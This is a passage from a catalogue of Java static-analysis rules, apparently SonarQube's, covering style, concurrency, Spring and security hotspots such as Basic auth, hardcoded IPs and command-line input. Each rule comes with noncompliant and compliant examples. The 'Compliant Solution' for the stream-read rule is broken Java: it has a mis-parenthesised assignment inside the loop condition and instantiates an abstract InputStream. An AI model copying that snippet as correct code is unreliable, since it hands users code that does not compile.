  • If the stream pipeline does not include a terminal operation, no elements will be consumed and the peek() action will not be invoked at all.
  • As long as a stream implementation can reach the final step, it can freely optimize processing by only producing some elements or even none at all (e.g. relying on other collection methods for counting elements). Accordingly, the peek() action will be invoked for fewer elements or not at all.

This rule raises an issue for each use of peek() to be sure that it is challenged and validated by the team to be meant for production debugging/logging purposes.

Noncompliant Code Example

Stream.of("one", "two", "three", "four")
         .filter(e -> e.length() > 3)
         .peek(e -> System.out.println("Filtered value: " + e)); // Noncompliant

See

java:S3985

private classes that are never used are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

Noncompliant Code Example

public class Foo
{
  ...
  private class MyUnusedPrivateClass {...} // Noncompliant
}
java:S1314

Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values.

Noncompliant Code Example

int myNumber = 010;   // Noncompliant. myNumber will hold 8, not 10 - was this really expected?

Compliant Solution

int myNumber = 8;

See

java:S1315

This rule allows you to track the use of the Checkstyle suppression comment mechanism.

Noncompliant Code Example

// CHECKSTYLE:OFF
java:S4823

Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities:

Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized.

Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure.

This rule raises an issue when on every program entry points (main methods) when command line arguments are used. The goal is to guide security code reviews.

Ask Yourself Whether

  • any of the command line arguments are used without being sanitized first.
  • your application accepts sensitive information via command line arguments.

If you answered yes to any of these questions you are at risk.

Recommended Secure Coding Practices

Sanitize all command line arguments before using them.

Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information.

Sensitive Code Example

This rule raises an issue as soon as there is a reference to argv, be it for direct use or via a CLI library like JCommander, GetOpt or Apache CLI.

public class Main {
  public static void main (String[] argv) {
    String option = argv[0];  // Sensitive: check how the argument is used
  }
}
// === JCommander ===
import com.beust.jcommander.*;

public class Main {
  public static void main (String[] argv) {
    Main main = new Main();
    JCommander.newBuilder()
      .addObject(main)
      .build()
      .parse(argv); // Sensitive
    main.run();
  }
}
// === GNU Getopt ===
import gnu.getopt.Getopt;

public class Main {
  public static void main (String[] argv) {
    Getopt g = new Getopt("myprog", argv, "ab"); // Sensitive
  }
}
// === Apache CLI ===
import org.apache.commons.cli.*;

public class Main {
  public static void main (String[] argv) {
    Options options = new Options();
    CommandLineParser parser = new DefaultParser();
    try {
      CommandLine line = parser.parse(options, argv); // Sensitive
    }
  }
}

In the case of Args4J, an issue is created on the public void run method of any class using org.kohsuke.args4j.Option or org.kohsuke.args4j.Argument.

Such a class is called directly by org.kohsuke.args4j.Starter outside of any public static void main method. If the class has no run method, no issue will be raised as there must be a public static void main and its argument is already highlighted.

// === argv4J ===
import org.kohsuke.args4j.Option;
import org.kohsuke.args4j.Argument;

public class Main {
  @Option(name="-myopt",usage="An option")
  public String myopt;

  @Argument(usage = "An argument", metaVar = "<myArg>")
  String myarg;

  String file;

  @Option(name="-file")
  public void setFile(String file) {
    this.file = file;
  }

  String arg2;

  @Argument(index=1)
  public void setArg2(String arg2) {
    this.arg2 = arg2;
  }

  public void run() { // Sensitive: This function
     myarg.toString(); // check how this argument is used
  }
}

Exceptions

The support of Argv4J without the use of org.kohsuke.argv4j.Option is out of scope as there is no way to know which Bean will be used as the mainclass.

No issue will be raised on public static void main(String[] argv) if argv is not referenced in the method.

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S2647

Basic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.

Noncompliant Code Example

// Using HttpPost from Apache HttpClient
String encoding = Base64Encoder.encode ("login:passwd");
org.apache.http.client.methods.HttpPost httppost = new HttpPost(url);
httppost.setHeader("Authorization", "Basic " + encoding);  // Noncompliant

or

// Using HttpURLConnection
String encoding = Base64.getEncoder().encodeToString(("login:passwd").getBytes(‌"UTF‌​-8"​));
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Authorization", "Basic " + encoding); // Noncompliant

See

java:S1317

Instantiating a StringBuilder or a StringBuffer with a character is misleading because most Java developers would expect the character to be the initial value of the StringBuffer.

What actually happens is that the int representation of the character is used to determine the initial size of the StringBuffer.

Noncompliant Code Example

StringBuffer foo = new StringBuffer('x');   //equivalent to StringBuffer foo = new StringBuffer(120);

Compliant Solution

StringBuffer foo = new StringBuffer("x");
java:S4829

Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities:

It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated.

This rule flags code that reads from the standard input.

Ask Yourself Whether

  • data read from the standard input is not sanitized before being used.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize all data read from the standard input before using it.

Sensitive Code Example

class A {
    void foo(String fmt, Object args) throws Exception {
        // Sensitive. Check how the standard input is used.
        System.in.read();

        // Sensitive. Check how safe this new InputStream is.
        System.setIn(new java.io.FileInputStream("test.txt"));

        java.io.Console console = System.console();
        // Sensitive. All the following calls should be reviewed as they use the standard input.
        console.reader();
        console.readLine();
        console.readLine(fmt, args);
        console.readPassword();
        console.readPassword(fmt, args);
    }
}

Exceptions

All references to System.in will create issues except direct calls to System.in.close().

Command line parsing libraries such as JCommander often read standard input when asked for passwords. However this rule doesn't raise any issue in this case as another hotspot rule covers command line arguments.

See:

Deprecated

This rule is deprecated, and will eventually be removed.

java:S1319

The purpose of the Java Collections API is to provide a well defined hierarchy of interfaces in order to hide implementation details.

Implementing classes must be used to instantiate new collections, but the result of an instantiation should ideally be stored in a variable whose type is a Java Collection interface.

This rule raises an issue when an implementation class:

  • is returned from a public method.
  • is accepted as an argument to a public method.
  • is exposed as a public member.

Noncompliant Code Example

public class Employees {
  private HashSet<Employee> employees = new HashSet<Employee>();  // Noncompliant - "employees" should have type "Set" rather than "HashSet"

  public HashSet<Employee> getEmployees() {                       // Noncompliant
    return employees;
  }
}

Compliant Solution

public class Employees {
  private Set<Employee> employees = new HashSet<Employee>();      // Compliant

  public Set<Employee> getEmployees() {                           // Compliant
    return employees;
  }
}
java:S2761

The needless repetition of an operator is usually a typo. There is no reason to write !!!i when !i will do.

On the other hand, the repetition of increment and decrement operators may have been done on purpose, but doing so obfuscates the meaning, and should be simplified.

This rule raises an issue for sequences of: !, ~, -, and +.

Noncompliant Code Example

int i = 1;

int j = - - -i;  // Noncompliant; just use -i
int k = ~~~i;    // Noncompliant; same as i
int m = + +i;    // Noncompliant; operators are useless here

boolean b = false;
boolean c = !!!b;   // Noncompliant

Compliant Solution

int i =  1;

int j = -i;
int k = ~i;
int m =  i;

boolean b = false;
boolean c = !b;

Exceptions

Overflow handling for GWT compilation using ~~ is ignored.

java:S3973

In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers.

Noncompliant Code Example

if (condition)  // Noncompliant
doTheThing();

doTheOtherThing();
somethingElseEntirely();

foo();

Compliant Solution

if (condition)
  doTheThing();

doTheOtherThing();
somethingElseEntirely();

foo();
java:S1310

This rule allows you to track the use of the PMD suppression comment mechanism.

Noncompliant Code Example

// NOPMD
java:S1311

The Cyclomatic Complexity is measured by the number of && and || operators and if, while, do, for, ?:, catch, switch, case, return and throw statements in the body of a class plus one for each constructor, method, static initializer, or instance initializer in the class. The last return statement in method, if exists, is not taken into account.

Even when the Cyclomatic Complexity of a class is very high, this complexity might be well distributed among all methods. Nevertheless, most of the time, a very complex class is a class which breaks the Single Responsibility Principle and which should be re-factored to be split in several classes.

Deprecated

This rule is deprecated, and will eventually be removed.

java:S3972

Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an if and its resulting then statement. However, when an if is placed on the same line as the closing } from a preceding then, else or else if part, it is either an error - else is missing - or the invitation to a future error as maintainers fail to understand that the two statements are unconnected.

Noncompliant Code Example

if (condition1) {
  // ...
} if (condition2) {  // Noncompliant
  //...
}

Compliant Solution

if (condition1) {
  // ...
} else if (condition2) {
  //...
}

Or

if (condition1) {
  // ...
}

if (condition2) {
  //...
}
java:S1312

Regardless of the logging framework in use (logback, log4j, commons-logging, java.util.logging, ...), loggers should be:

  • private: never be accessible outside of its parent class. If another class needs to log something, it should instantiate its own logger.
  • static: not be dependent on an instance of a class (an object). When logging something, contextual information can of course be provided in the messages but the logger should be created at class level to prevent creating a logger along with each object.
  • final: be created once and only once per class.

Noncompliant Code Example

With a default regular expression of LOG(?:GER)?:

public Logger logger = LoggerFactory.getLogger(Foo.class);  // Noncompliant

Compliant Solution

private static final Logger LOGGER = LoggerFactory.getLogger(Foo.class);

Exceptions

Variables of type org.apache.maven.plugin.logging.Log are ignored.

java:S2886

When one part of a getter/setter pair is synchronized the other part should be too. Failure to synchronize both sides of a pair may result in inconsistent behavior at runtime as callers access an inconsistent method state.

This rule raises an issue when either the method or the contents of one method in a getter/setter pair are synchrnoized but the other is not.

Noncompliant Code Example

public class Person {
  String name;
  int age;

  public synchronized void setName(String name) {
    this.name = name;
  }

  public String getName() {  // Noncompliant
    return this.name;
  }

  public void setAge(int age) {  // Noncompliant
    this.age = age;
  }

  public int getAge() {
    synchronized (this) {
      return this.age;
    }
  }
}

Compliant Solution

public class Person {
  String name;
  int age;

  public synchronized void setName(String name) {
    this.name = name;
  }

  public synchronized String getName() {
    return this.name;
  }

  public void setAge(int age) {
    synchronized (this) {
      this.age = age;
   }
  }

  public int getAge() {
    synchronized (this) {
      return this.age;
    }
  }
}

See

  • CERT, VNA01-J. - Ensure visibility of shared references to immutable objects
java:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Ask Yourself Whether

The disclosed IP address is sensitive, eg:

  • Can give information to an attacker about the network topology.
  • It's a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don't hard-code the IP address in the source code, instead make it configurable.

Sensitive Code Example

String ip = "192.168.12.42"; // Sensitive
Socket socket = new Socket(ip, 6667);

Compliant Solution

String ip = System.getenv("IP_ADDRESS"); // Compliant
Socket socket = new Socket(ip, 6667);

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

  • Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
  • Broadcast address 255.255.255.255
  • Non routable address 0.0.0.0
  • Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID).

See

java:S2885

Not all classes in the standard Java library were written to be thread-safe. Using them in a multi-threaded manner is highly likely to cause data problems or exceptions at runtime.

This rule raises an issue when an instance of Calendar, DateFormat, javax.xml.xpath.XPath, or javax.xml.validation.SchemaFactory is marked static.

Noncompliant Code Example

public class MyClass {
  private static SimpleDateFormat format = new SimpleDateFormat("HH-mm-ss");  // Noncompliant
  private static Calendar calendar = Calendar.getInstance();  // Noncompliant

Compliant Solution

public class MyClass {
  private SimpleDateFormat format = new SimpleDateFormat("HH-mm-ss");
  private Calendar calendar = Calendar.getInstance();
java:S1105

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when an open curly brace is not placed at the end of a line of code.

Noncompliant Code Example

if(condition)
{
  doSomething();
}

Compliant Solution

if(condition) {
  doSomething();
}

Exceptions

When blocks are inlined (left and right curly braces on the same line), no issue is triggered.

if(condition) {doSomething();}
java:S1226

While it is technically correct to assign to parameters from within method bodies, doing so before the parameter value is read is likely a bug. Instead, initial values of parameters, caught exceptions, and foreach parameters should be, if not treated as final, then at least read before reassignment.

Noncompliant Code Example

public void doTheThing(String str, int i, List<String> strings) {
  str = Integer.toString(i); // Noncompliant

  for (String s : strings) {
    s = "hello world"; // Noncompliant
  }
}
java:S2437

Certain bit operations are just silly and should not be performed because their results are predictable.

Specifically, using & -1 with any value will always result in the original value, as will anyValue ^ 0 and anyValue | 0.

java:S5826

The setUp() and tearDown() methods (initially introduced with JUnit3 to execute a block of code before and after each test) need to be correctly annotated with the equivalent annotation in order to preserve the same behavior when migrating from JUnit3 to JUnit4 or JUnit5.

This rule consequently raise issues on setUp() and tearDown() methods which are not annotated in test classes.

Noncompliant Code Example

  • JUnit4:
public void setUp() { ... } // Noncompliant; should be annotated with @Before
public void tearDown() { ... }  // Noncompliant; should be annotated with @After
  • JUnit5:
public void setUp() { ... } // Noncompliant; should be annotated with @BeforeEach
public void tearDown() { ... }  // Noncompliant; should be annotated with @AfterEach

Compliant Solution

  • JUnit4:
@Before
public void setUp() { ... }

@After
public void tearDown() { ... }
  • JUnit5:
@BeforeEach
void setUp() { ... }

@AfterEach
void tearDown() { ... }
java:S1106

Shared coding conventions make it possible to collaborate efficiently. This rule makes it mandatory to place the open curly brace at the beginning of a line.

Noncompliant Code Example

public void myMethod {  // Noncompliant
  if(something) {  // Noncompliant
    executeTask();
  } else {  // Noncompliant
    doSomethingElse();
  }
}

Compliant Solution

public void myMethod
{
  if(something)
  {
    executeTask();
  } else
  {
    doSomethingElse();
  }
}
java:S4738

Some Guava features were really useful for Java 7 application because Guava was bringing APIs missing in the JDK. Java 8 fixed these limitations. When migrating an application to Java 8 or even when starting a new one, it's recommended to prefer Java 8 APIs over Guava ones to ease its maintenance: developers don't need to learn how to use two APIs and can stick to the standard one.

This rule raises an issue when the following Guava APIs are used:

Guava API Java 8 API
com.google.common.io.BaseEncoding#base64() java.util.Base64
com.google.common.io.BaseEncoding#base64Url() java.util.Base64
com.google.common.base.Joiner.on() java.lang.String#join() or java.util.stream.Collectors#joining()
com.google.common.base.Optional#of() java.util.Optional#of()
com.google.common.base.Optional#absent() java.util.Optional#empty()
com.google.common.base.Optional#fromNullable() java.util.Optional#ofNullable()
com.google.common.base.Optional java.util.Optional
com.google.common.base.Predicate java.util.function.Predicate
com.google.common.base.Function java.util.function.Function
com.google.common.base.Supplier java.util.function.Supplier
java:S1228

Each package in a Java project should include a package-info.java file. The purpose of this file is to document the Java package using javadoc and declare package annotations.

Compliant Solution

/**
* This package has non null parameters and is documented.
**/
@ParametersAreNonnullByDefault
package org.foo.bar;
java:S1107

Shared coding conventions make it possible for a team to collaborate efficiently.

This rule makes it mandatory to place closing curly braces on the same line as the next else, catch or finally keywords.

Noncompliant Code Example

public void myMethod() {
  if(something) {
    executeTask();
  } else if (somethingElse) {
    doSomethingElse();
  }
  else {                               // Noncompliant
     generateError();
  }

  try {
    generateOrder();
  } catch (Exception e) {
    log(e);
  }
  finally {                            // Noncompliant
    closeConnection();
  }
}

Compliant Solution

public void myMethod() {
  if(something) {
    executeTask();
  } else if (somethingElse) {
    doSomethingElse();
  } else {
     generateError();
  }

  try {
    generateOrder();
  } catch (Exception e) {
    log(e);
  } finally {
    closeConnection();
  }
}
java:S1108

Shared coding conventions make it possible for a team to collaborate efficiently.

This rule makes it mandatory to place a closing curly brace and the next else, catch or finally keyword on two different lines.

Noncompliant Code Example

public void myMethod() {
  if(something) {
    executeTask();
  } else if (somethingElse) {          // Noncompliant
    doSomethingElse();
  }
  else {                               // Compliant
     generateError();
  }

  try {
    generateOrder();
  } catch (Exception e) {
    log(e);
  }
  finally {
    closeConnection();
  }
}

Compliant Solution

public void myMethod() {
  if(something) {
    executeTask();
  }
  else if (somethingElse) {
    doSomethingElse();
  }
  else {
     generateError();
  }

  try {
    generateOrder();
  }
  catch (Exception e) {
    log(e);
  }
  finally {
    closeConnection();
  }
}
java:S2438

While it is technically correct to use a Thread where a Runnable is called for, the semantics of the two objects are different, and mixing them is a bad practice that will likely lead to headaches in the future.

The crux of the issue is that Thread is a larger concept than Runnable. A Runnable is an object whose running should be managed. A Thread expects to manage the running of itself or other Runnables.

Noncompliant Code Example

	public static void main(String[] args) {
		Thread r =new Thread() {
			int p;
			@Override
			public void run() {
				while(true)
					System.out.println("a");
			}
		};
		new Thread(r).start();  // Noncompliant

Compliant Solution

	public static void main(String[] args) {
		Runnable r =new Runnable() {
			int p;
			@Override
			public void run() {
				while(true)
					System.out.println("a");
			}
		};
		new Thread(r).start();
java:S1109

Shared coding conventions make it possible for a team to efficiently collaborate. This rule makes it mandatory to place a close curly brace at the beginning of a line.

Noncompliant Code Example

if(condition) {
  doSomething();}

Compliant Solution

if(condition) {
  doSomething();
}

Exceptions

When blocks are inlined (open and close curly braces on the same line), no issue is triggered.

if(condition) {doSomething();}
java:S1220

According to the Java Language Specification:

Unnamed packages are provided by the Java platform principally for convenience when developing small or temporary applications or when just beginning development.

To enforce this best practice, classes located in default package can no longer be accessed from named ones since Java 1.4.

Noncompliant Code Example

public class MyClass { /* ... */ }

Compliant Solution

package org.example;

public class MyClass{ /* ... */ }
java:S1221

Naming a method tostring, hashcode() or equal is either:

  • A bug in the form of a typo. Overriding toString, Object.hashCode() (note the camelCasing) or Object.equals (note the 's' on the end) was meant, and the application does not behave as expected.
  • Done on purpose. The name however will confuse every other developer, who may not notice the naming difference, or who will think it is a bug.

In both cases, the method should be renamed.

Noncompliant Code Example

public int hashcode() { /* ... */ }  // Noncompliant

public String tostring() { /* ... */ } // Noncompliant

public boolean equal(Object obj) { /* ... */ }  // Noncompliant

Compliant Solution

@Override
public int hashCode() { /* ... */ }

@Override
public String toString() { /* ... */ }

@Override
public boolean equals(Object obj) { /* ... */ }
java:S4970

The catch block of a checked exception "E" may be hidden because the corresponding try block only throws exceptions derived from E.

These derived exceptions are handled in dedicated catch blocks prior to the catch block of the base exception E.

The catch block of E is unreachable and should be considered dead code. It should be removed, or the entire try-catch structure should be refactored.

It is also possible that a single exception type in a multi-catch block may be hidden while the catch block itself is still reachable. In that case it is enough to only remove the hidden exception type or to replace it with another type.

Noncompliant Code Example

public class HiddenCatchBlock {

  public static class CustomException extends Exception {
  }
	
  public static class CustomDerivedException extends CustomException {
  }
	
  public static void main(String[] args) {
    try {
      throwCustomDerivedException();
    } catch(CustomDerivedException e) {
      // ...
    } catch(CustomException e) { // Noncompliant; this code is unreachable
      // ...
    }
  }

  private static void throwCustomDerivedException() throws CustomDerivedException {
    throw new CustomDerivedException();
  }	
}

Compliant Solution

public class HiddenCatchBlock {

  public static class CustomException extends Exception {
  }
	
  public static class CustomDerivedException extends CustomException {
  }
	
  public static void main(String[] args) {
    try {
      throwCustomDerivedException();
    } catch(CustomDerivedException e) { // Compliant; try-catch block is "catching" only the Exception that can be thrown in the "try"
      //...
    }
  }	
}
java:S2675

A readObject method is written when a Serializable object needs special handling to be rehydrated from file. It should be the case that the object being created by readObject is only visible to the thread that invoked the method, and the synchronized keyword is not needed, and using synchronized anyway is just confusing. If this is not the case, the method should be refactored to make it the case.

Noncompliant Code Example

private synchronized void readObject(java.io.ObjectInputStream in)
     throws IOException, ClassNotFoundException { // Noncompliant
  //...
}

Compliant Solution

private void readObject(java.io.ObjectInputStream in)
     throws IOException, ClassNotFoundException { // Compliant
  //...
}
java:S3400

There's no point in forcing the overhead of a method call for a method that always returns the same constant value. Even worse, the fact that a method call must be made will likely mislead developers who call the method thinking that something more is done. Declare a constant instead.

This rule raises an issue if on methods that contain only one statement: the return of a constant value.

Noncompliant Code Example

int getBestNumber() {
  return 12;  // Noncompliant
}

Compliant Solution

static final int BEST_NUMBER = 12;

Exceptions

Methods with annotations, such as @Override and Spring's @RequestMapping, are ignored.

java:S2674

You cannot assume that any given stream reading call will fill the byte[] passed in to the method. Instead, you must check the value returned by the read method to see how many bytes were read. Fail to do so, and you introduce bug that is both harmful and difficult to reproduce.

Similarly, you cannot assume that InputStream.skip will actually skip the requested number of bytes, but must check the value returned from the method.

This rule raises an issue when an InputStream.read method that accepts a byte[] is called, but the return value is not checked, and when the return value of InputStream.skip is not checked. The rule also applies to InputStream child classes.

Noncompliant Code Example

public void doSomething(String fileName) {
  try {
    InputStream is = new InputStream(file);
    byte [] buffer = new byte[1000];
    is.read(buffer);  // Noncompliant
    // ...
  } catch (IOException e) { ... }
}

Compliant Solution

public void doSomething(String fileName) {
  try {
    InputStream is = new InputStream(file);
    byte [] buffer = new byte[1000];
    int count = 0;
    while (count = is.read(buffer) > 0) {
      // ...
    }
  } catch (IOException e) { ... }
}

See

  • CERT, FIO10-J. - Ensure the array is filled when using read() to fill an array
java:S1223

Having a class and some of its methods sharing the same name is misleading, and leaves others to wonder whether it was done that way on purpose, or was the methods supposed to be a constructor.

Noncompliant Code Example

public class Foo {
   public Foo() {...}
   public void Foo(String label) {...}  // Noncompliant
}

Compliant Solution

public class Foo {
   public Foo() {...}
   public void foo(String label) {...}  // Compliant
}
java:S4973

It's almost always a mistake to compare two instances of java.lang.String or boxed types like java.lang.Integer using reference equality == or !=, because it is not comparing actual value but locations in memory.

Noncompliant Code Example

String firstName = getFirstName(); // String overrides equals
String lastName = getLastName();

if (firstName == lastName) { ... }; // Non-compliant; false even if the strings have the same value

Compliant Solution

String firstName = getFirstName();
String lastName = getLastName();

if (firstName != null && firstName.equals(lastName)) { ... };

See

  • MITRE, CWE-595 - Comparison of Object References Instead of Object Contents
  • MITRE, CWE-597 - Use of Wrong Operator in String Comparison
  • CERT, EXP03-J. - Do not use the equality operators when comparing values of boxed primitives
  • CERT, EXP50-J. - Do not confuse abstract object equality with reference equality
java:S2677

When a method is called that returns data read from some data source, that data should be stored rather than thrown away. Any other course of action is surely a bug.

This rule raises an issue when the return value of any of the following is ignored or merely null-checked: BufferedReader.readLine(), Reader.read(), and these methods in any child classes.

Noncompliant Code Example

public void doSomethingWithFile(String fileName) {
  BufferedReader buffReader = null;
  try {
    buffReader = new BufferedReader(new FileReader(fileName));
    while (buffReader.readLine() != null) { // Noncompliant
      // ...
    }
  } catch (IOException e) {
    // ...
  }
}

Compliant Solution

public void doSomethingWithFile(String fileName) {
  BufferedReader buffReader = null;
  try {
    buffReader = new BufferedReader(new FileReader(fileName));
    String line = null;
    while ((line = buffReader.readLine()) != null) {
      // ...
    }
  } catch (IOException e) {
    // ...
  }
}
java:S2676

It is possible for a call to hashCode to return Integer.MIN_VALUE. Take the absolute value of such a hashcode and you'll still have a negative number. Since your code is likely to assume that it's a positive value instead, your results will be unreliable.

Similarly, Integer.MIN_VALUE could be returned from Random.nextInt() or any object's compareTo method, and Long.MIN_VALUE could be returned from Random.nextLong(). Calling Math.abs on values returned from these methods is similarly ill-advised.

Noncompliant Code Example

public void doSomething(String str) {
  if (Math.abs(str.hashCode()) > 0) { // Noncompliant
    // ...
  }
}

Compliant Solution

public void doSomething(String str) {
  if (str.hashCode() != 0) {
    // ...
  }
}
java:S1104

Public class variable fields do not respect the encapsulation principle and has three main disadvantages:

  • Additional behavior such as validation cannot be added.
  • The internal representation is exposed, and cannot be changed afterwards.
  • Member values are subject to change from anywhere in the code and may not meet the programmer's assumptions.

By using private attributes and accessor methods (set and get), unauthorized modifications are prevented.

Noncompliant Code Example

public class MyClass {

  public static final int SOME_CONSTANT = 0;     // Compliant - constants are not checked

  public String firstName;                       // Noncompliant

}

Compliant Solution

public class MyClass {

  public static final int SOME_CONSTANT = 0;     // Compliant - constants are not checked

  private String firstName;                      // Compliant

  public String getFirstName() {
    return firstName;
  }

  public void setFirstName(String firstName) {
    this.firstName = firstName;
  }

}

Exceptions

Because they are not modifiable, this rule ignores public final fields. Also, annotated fields, whatever the annotation(s) will be ignored, as annotations are often used by injection frameworks, which in exchange require having public fields.

See

java:S3878

There's no point in creating an array solely for the purpose of passing it as a varargs (...) argument; varargs is an array. Simply pass the elements directly. They will be consolidated into an array automatically. Incidentally passing an array where Object ... is expected makes the intent ambiguous: Is the array supposed to be one object or a collection of objects?

Noncompliant Code Example

public void callTheThing() {
  //...
  doTheThing(new String[] { "s1", "s2"});  // Noncompliant: unnecessary
  doTheThing(new String[12]);  // Compliant
  doTheOtherThing(new String[8]);  // Noncompliant: ambiguous
  // ...
}

public void doTheThing (String ... args) {
  // ...
}

public void doTheOtherThing(Object ... args) {
  // ...
}

Compliant Solution

public void callTheThing() {
  //...
  doTheThing("s1", "s2");
  doTheThing(new String[12]);
  doTheOtherThing((Object[]) new String[8]);
   // ...
}

public void doTheThing (String ... args) {
  // ...
}

public void doTheOtherThing(Object ... args) {
  // ...
}
java:S1699

Calling an overridable method from a constructor could result in failures or strange behaviors when instantiating a subclass which overrides the method.

For example:

  • The subclass class constructor starts by contract by calling the parent class constructor.
  • The parent class constructor calls the method, which has been overridden in the child class.
  • If the behavior of the child class method depends on fields that are initialized in the child class constructor, unexpected behavior (like a NullPointerException) can result, because the fields aren't initialized yet.

Noncompliant Code Example

public class Parent {

  public Parent () {
    doSomething();  // Noncompliant
  }

  public void doSomething () {  // not final; can be overridden
    ...
  }
}

public class Child extends Parent {

  private String foo;

  public Child(String foo) {
    super(); // leads to call doSomething() in Parent constructor which triggers a NullPointerException as foo has not yet been initialized
    this.foo = foo;
  }

  public void doSomething () {
    System.out.println(this.foo.length());
  }

}

See

  • CERT, MET05-J. - Ensure that constructors do not call overridable methods
  • CERT, OOP50-CPP. - Do not invoke virtual functions from constructors or destructors
java:S1215

Calling System.gc() or Runtime.getRuntime().gc() is a bad idea for a simple reason: there is no way to know exactly what will be done under the hood by the JVM because the behavior will depend on its vendor, version and options:

  • Will the whole application be frozen during the call?
  • Is the -XX:DisableExplicitGC option activated?
  • Will the JVM simply ignore the call?
  • ...

Like for System.gc(), there is no reason to manually call runFinalization() to force the call of finalization methods of any objects pending finalization.

An application relying on these unpredictable methods is also unpredictable and therefore broken. The task of running the garbage collector and calling finalize() methods should be left exclusively to the JVM.

java:S2789

The concept of Optional is that it will be used when null could cause errors. In a way, it replaces null, and when Optional is in use, there should never be a question of returning or receiving null from a call.

Noncompliant Code Example

public void doSomething () {
  Optional<String> optional = getOptional();
  if (optional != null) {  // Noncompliant
    // do something with optional...
  }
  Optional<String> text = null; // Noncompliant, a variable whose type is Optional should never itself be null
  // ...
}

@Nullable // Noncompliant
public Optional<String> getOptional() {
  // ...
  return null;  // Noncompliant
}

Compliant Solution

public void doSomething () {
  Optional<String> optional = getOptional();
  optional.ifPresent(
    // do something with optional...
  );
  Optional<String> text = Optional.empty();
  // ...
}

public Optional<String> getOptional() {
  // ...
  return Optional.empty();
}
java:S4605

Spring beans belonging to packages that are not included in a @ComponentScan configuration will not be accessible in the Spring Application Context. Therefore, it's likely to be a configuration mistake that will be detected by this rule. Note: the @ComponentScan is implicit in the @SpringBootApplication annotation, case in which Spring Boot will auto scan for components in the package containing the Spring Boot main class and its sub-packages.

Noncompliant Code Example

@Configuration
@ComponentScan("com.mycompany.app.beans")
public class Application {
...
}

package com.mycompany.app.web;

@Controller
public class MyController { // Noncompliant; MyController belong to "com.mycompany.app.web" while the ComponentScan is looking for beans in "com.mycompany.app.beans" package
...
}

Compliant Solution

@Configuration
@ComponentScan({"com.mycompany.app.beans","com.mycompany.app.web"})
public class Application {
...
}

package com.mycompany.app.web;

@Controller
public class MyController { // Compliant; "com.mycompany.app.web" is referenced by a @ComponentScan annotated class
...
}
java:S4603

@ComponentScan is used to find which Spring @Component beans (@Service or @Repository or Controller) are available in the classpath so they can be used in the application context. This is a convenient feature especially when you begin a new project but it comes with the drawback of slowing down the application start-up time especially when the application becomes bigger (ie: it references a large JAR file, or it references a significant number of JAR files, or the base-package refers to a large amount of .class files).

@ComponentScan should be replaced by an explicit list of Spring beans loaded by @Import.

The interface @SpringBootApplication is also considered by this rule because it is annotated with @ComponentScan.

Noncompliant Code Example

@ComponentScan
public class MyApplication {
...
}

@SpringBootApplication
public class MyApplication {
...
}

Compliant Solution

@Configuration
@Import({
        DispatcherServletAutoConfiguration.class,
        ErrorMvcAutoConfiguration.class,
        HttpEncodingAutoConfiguration.class,
        HttpMessageConvertersAutoConfiguration.class,
        MultipartAutoConfiguration.class,
        ServerPropertiesAutoConfiguration.class,
        PropertyPlaceholderAutoConfiguration.class,
        WebMvcAutoConfiguration.class
})
public class MyApplication {
...
}

See

java:S1217

The purpose of the Thread.run() method is to execute code in a separate, dedicated thread. Calling this method directly doesn't make sense because it causes its code to be executed in the current thread.

To get the expected behavior, call the Thread.start() method instead.

Noncompliant Code Example

Thread myThread = new Thread(runnable);
myThread.run(); // Noncompliant

Compliant Solution

Thread myThread = new Thread(runnable);
myThread.start(); // Compliant

See

java:S3516

When a method is designed to return an invariant value, it may be poor design, but it shouldn't adversely affect the outcome of your program. However, when it happens on all paths through the logic, it is surely a bug.

This rule raises an issue when a method contains several return statements that all return the same value.

Noncompliant Code Example

int foo(int a) {
  int b = 12;
  if (a == 1) {
    return b;
  }
  return b;  // Noncompliant
}
java:S4604

"@EnableAutoConfiguration" is a convenient feature to configure the Spring Application Context by attempting to guess the beans that you are likely to need. The drawback is that it may load and configure beans the application will never use and therefore consume more CPU and RAM than really required. @EnableAutoConfiguration should be configured to exclude all the beans not required by the application. Alternatively, use the @Import annotation instead of @EnableAutoConfiguration, to explicitly import the useful AutoConfiguration classes.

This rule applies for @SpringBootApplication as well.

Noncompliant Code Example

@SpringBootApplication
